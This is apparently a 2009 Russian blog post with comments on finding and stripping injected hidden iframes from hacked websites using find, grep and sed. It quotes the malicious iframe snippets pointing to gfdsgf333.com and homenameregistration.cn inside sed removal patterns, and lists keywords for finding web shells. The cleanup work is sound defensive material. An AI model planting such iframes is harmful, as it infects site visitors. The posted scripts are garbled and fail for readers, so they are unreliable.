Ищем и чистим сайты от инклудов iframe
Как писал не так давно, подцепил заразу трояна win32/Kryptik. CH и червя Win32/Pinit, которая наследила на паре FTP, давив скрытый iframe.
Рассмотрим несколько вариантов быстрого и полного избавления от этой заразы. Конечно же нам пригодятся знания ssh и наличие клиента для этого протокола. Под виндой подойдёт PuTTY, под Mac OS со всем справляется обычная консоль.
Так большинство вредоносного кода пытаются вставить iframe на вашу страницу, то поищем все странички на сервере, содержащие эту подстроку.
Ок, для этого подключаемся клиентом к нашему серверу (виртуальному серверу-хостингу) по протоколу SSH. Переходим в корневой web каталог, в котором находятся интересующие файлы и запускаем поиск:
find $PWD -name '*.*' -exec grep -l "iframe" {} \;
Вкратце: организовываем поиск (find) всех файлов (*.*) в текущем каталоге ($PWD), в каждом файле ищем (grep) нужную подстроку ("iframe"), в случае успеха, в вывод отдаём только имя файла (-l).

Если вдруг мусора много, записываем список файлов в файл:
find $PWD -name '*.*' -exec grep -l "iframe" {} \; > vir.txt
Далее анализируем полученные файлы, находя в них вредоносные строки. Самый примитивный способ — пройтись по списку файлов и удалить ручками вставки iframe.
Но мы пойдём другим путём.
Автоматизация или откиньтесь на спинку стула
Рассмотрим на моём примере. Нам уже не обойтись без скрипта на баше. Сразу приведу конечный вариант:
#!/bin/sh
find $PWD -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-html.txtwhile read line
do
sed 's/<div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80<>\/iframe<>\/div>//g' <$line >tmp
mv tmp $line
done < vir-html.txtfind $PWD -name '*.php' -exec grep -l "gfdsgf333" {} \; > vir-php.txt
while read line
do
sed s/<?php echo <div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80><\/iframe><\/div>; ?>//g <$line >tmp
mv tmp $line
done < vir-php.txt
Как видите логика проста. По имени домена вычисляем все файлы с его вставкой, а далее просто удаляем поточным редактором найденные ранее подстроки.
Ну и на последок, точка контроля:
find $PWD -type f -exec grep -l "iframe"; {} \; > vir-other.txt
Смотрим файл vir-other.txt, там должно быть чисто или только добрые файлы (вроде jQuery. js и похожих).
Хорошие сайты:
- Интервью с известными людьми.
- Новости фантастики и фэнтези.
- Медицинский портал: медицина и здоровье.
Доброго времени!
Очень часто вместе с iframe добовляют скрипты удаленного shell администрирования,как совет рекомендую:
find . -print0 | xargs -0 grep word
где word это например shell,c99shell,ddevil,hack.
При анализе полученного вывода команды можно почерпнуть много интересного)))
чего быть совсем не должно)
ЗЫ Спасибо за полезную статью.
- ответить
Отправил Дмитрий (не зарегистрирован) (сб., 02/14/2009 - 10:40)Спасибо за дополнение, shell будет поопасней ифрейма.
- ответить
Отправил GogA (пн., 02/16/2009 - 11:40)"Переходим в коренной web каталог"
Саш, коренными бывают зубы, каталог — корневой :))
- ответить
Отправил Ромка (не зарегистрирован) (чт., 02/19/2009 - 23:17)Спасибо, поправил :)
- ответить
Отправил GogA (вт., 02/24/2009 - 02:58)Поправил на «корненной», а надо на «корневой» :)
- ответить
Отправил Вернон Коди (не зарегистрирован) (пн., 03/23/2009 - 16:03)а у меня в админке системные файлы перед отображением страницы проверяются на соответствие размера размеру файла из резервной копии.. если не соответствует, то копия файла из дампа заменяет потенциально опасный файл. таким образом вирус удаляется сам собой по мере того, как человек ходит по сайту...
- ответить
Отправил Евген (не зарегистрирован) (ср., 02/25/2009 - 13:24)А что за админка-хостинг? :)
Очень хорошая опция!
- ответить
Отправил GogA (ср., 03/04/2009 - 03:40)Скрипт не отрабатывается,пишет:
8: Syntax error: "done" unexpected (expecting "do")
Не подскажете как быть(?
#!/bin/sh
find . -name '*.html' -exec grep -l "517891" {} \; > vir-html.txt
while read line
do
sed 's/
find . -name '*.php' -exec grep -l "517891" {} \; > vir-php.txt
while read line
do
sed ’s/
- ответить
Отправил kritic (не зарегистрирован) (вс., 03/08/2009 - 11:30)Еще можно вот так,принцип тот же,но нет разделения на php и html(в некоторых случаях пришлось бы еще дописывать и для htm и т д).
#!/bin/sh
find . -print0 | xargs -0 grep -l 517891 > vir-list.txt
while read line
do
sed 's/:
Ищет все файлы в системе просматривая их код,после этого грепает по заданному критерию,после этого с помощью поточного редактора очищает.
- ответить
Отправил Дмитрий (не зарегистрирован) (вс., 03/08/2009 - 12:32)Я просто поставил права только на чтение у файлов на хостинге и все.. А вообще нужно комп от вирусов избавлять...
- ответить
Отправил Гость (не зарегистрирован) (вт., 03/10/2009 - 14:20)Не комп от вирусов, а скрипты от дыр :)
- ответить
Отправил N_MONax (не зарегистрирован) (пн., 03/23/2009 - 03:50)Привет, у меня похожая проблема, пишу так
#!/bin/sh
find . -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-list.txt
while read line
do
sed 's/<iframe src="http://homenameregistration.cn/in.cgi?income12" width=1 height=1 style="visibility: hidden"></iframe>//g' <$line >tmp
mv tmp $line
done < vir-list.txt
в итоге все что подверглось обработке имеет размер 0 и получаю error
$ ./ffff.sh
sed: 1: "s/$lt;iframe src="http://h ...": bad flag in substitute command: 'h'
также ифрейм как php вставка в примере <?php echo
может есть мысли по этому поводу ?
- ответить
Отправил vvito5 (не зарегистрирован) (чт., 03/19/2009 - 15:41)Лучше всего забарикадировать свой рабочий компьютер, у меня и антивирус и фаервол, давненько заразы никакой небыло :-D
- ответить
Отправил Executor (не зарегистрирован) (пн., 03/23/2009 - 12:18)Это у вас тут новая фича? при заходе на эту страницу в Опере 88/89 эллементов и постоянно выскакивает (NOD32) -
25.03.2009 4:38:32 Фильтр HTTP файл http://freewebhostguide.com/cache/readme.pdf PDF/Exploit.Pidief.OBO троянская программа соединение прервано - изолирован Обнаружена угроза при попытке доступа в Интернет следующим приложением: C:\Program Files\Opera\opera.exe
при это у меня открыт ТОЛЬКО этот блог
- ответить
Отправил barabashko (не зарегистрирован) (ср., 03/25/2009 - 04:42)Один из комментаторов как-то вставил ифрейм в код комментария, сейчас пофиксю.
- ответить
Отправил GogA (ср., 03/25/2009 - 13:33)Привет. Варианты очистки HTML "на лету".
1. Где-нибудь в разделе инициализации движка, ДО обращения к любой функции вывода
$tidy_ok = extension_loaded('tidy');
if ($tidy_ok == 1) ob_start();
2. По окончании рендеринга страницы, ПОСЛЕ любой функции вывода
if ($tidy_ok == 1) {
$tidy_cfg = array(
'markup' => true,
'force-output' => 1,
'logical-emphasis' => 1,
'lower-literals' => 1,
'indent' => 0,
'char-encoding' => 'raw',
'input-encoding' => 'raw',
'output-encoding' => 'raw',
'wrap' => 0,
'output-html' => 1,
'fix-uri' => 1,
'hide-comments' => 1,
'quote-ampersand' => 1,
'tidy-mark' => 0);
$tidy = new tidy;
$tidy->parseString(ob_get_clean(), $tidy_cfg, 'raw');
$out = tidy_get_output($tidy));
............
очистка HTML функцией preg_replace() или другим способом
............
echo $out;
Маска (регулярное выражение) в preg_replace() вырезает нежелательные теги, либо к переменной $out применяется самодельный парсер, "расставляющий запятые" в "казнить нельзя помиловать".
Довеском в примере задействован парсер HTML Tidy, но можно обойтись без него:
ob_start();
.............
.............
$out = ob_get_contents();
ob_end_clean(); //сбрасываем буфер дабы не было баден-баден
...чистим переменную $out функцией preg_replace()
echo $out;
Недостатки: контент (html или выведенный в режиме интерпретации php) после tidy_get_output/ob_get_contents обработан не будет.
- ответить
Отправил GPS (не зарегистрирован) (сб., 04/11/2009 - 14:28)Закончил чистку кучи сайтов . некоторые дополнения
1.Во время атаки адреса сайтов в ифрейме в разных файлах менялись - так что чисто на автомате удалить не получилось.
2. В друпалных сайтах кое где еще в файлы тем после тега body вставляли не ифрейм какойто жабоскрипт ( снес к чертям не разбираясь)
так что чистил вручную - зараженые файлы искал по другой дате изменения
Судя по тому, что после захода на сайты вылавливал анитвирус ( AVG +Cure IT ,bitdefender и NOD ничего не видели) - задачей атаки было создание ботнета
ПС До нескольких заброшеных сплогов руки дошли не сразу.Так что позлорадствовал , сколько идиотов "продвигающих через камменты" получили вирь в наказание ;)
- ответить
Отправил Бомж беглый (не зарегистрирован) (вс., 05/03/2009 - 08:30)Смотреть по дате изменения файлы - тоже хороший вариант найти заразу.
В конце очистки не забудь проверсти контроль качества.
Слова можно использовать для поиска:
iframe,shell,c99shell,ddevil,">eval(".
Все выданные файлики можно посмотреть ручками, так как некоторые элементы (например iframe) могут и в мирных целях использоваться.
- ответить
Отправил GogA (вс., 05/03/2009 - 18:48)Пожалуйста, подскажите... У меня на сайте вирус (подсказали добрые люди), только я не могу его никак найти... Пересмотрела все страницы, бестолку... Ругается только Аваст, д-р Веб, касперский - молчат.. Как мне быть? Пожлста помогите...
- ответить
Отправил natasya (не зарегистрирован) (сб., 06/27/2009 - 18:37)а можно дополнить команду и добавить в нее замену определенной строчки в файле - на другую строчку
вроде должно быть не сложно, но я что-то ничего не могу найти по этому вопросу
подскажите
- ответить
Отправил Гость (не зарегистрирован) (чт., 12/24/2009 - 16:26)Sed и Awk
http://opennet.ru/docs/RUS/bash_scripting_guide/a14586.html
- ответить
Отправил GogA (пт., 12/25/2009 - 02:47)получилось:) спасибо за ссылку
поменял строчку на эту
sed 's/comment=0/comment=1/g' <$line >tmp
comment=0 - что меняем
comment=1 - на что меняем
- ответить
Отправил Гость (не зарегистрирован) (сб., 12/26/2009 - 11:58)Отличное дополнение сенкс!
- ответить
Отправил Ilyusha (не зарегистрирован) (сб., 03/13/2010 - 17:02)Отправить комментарий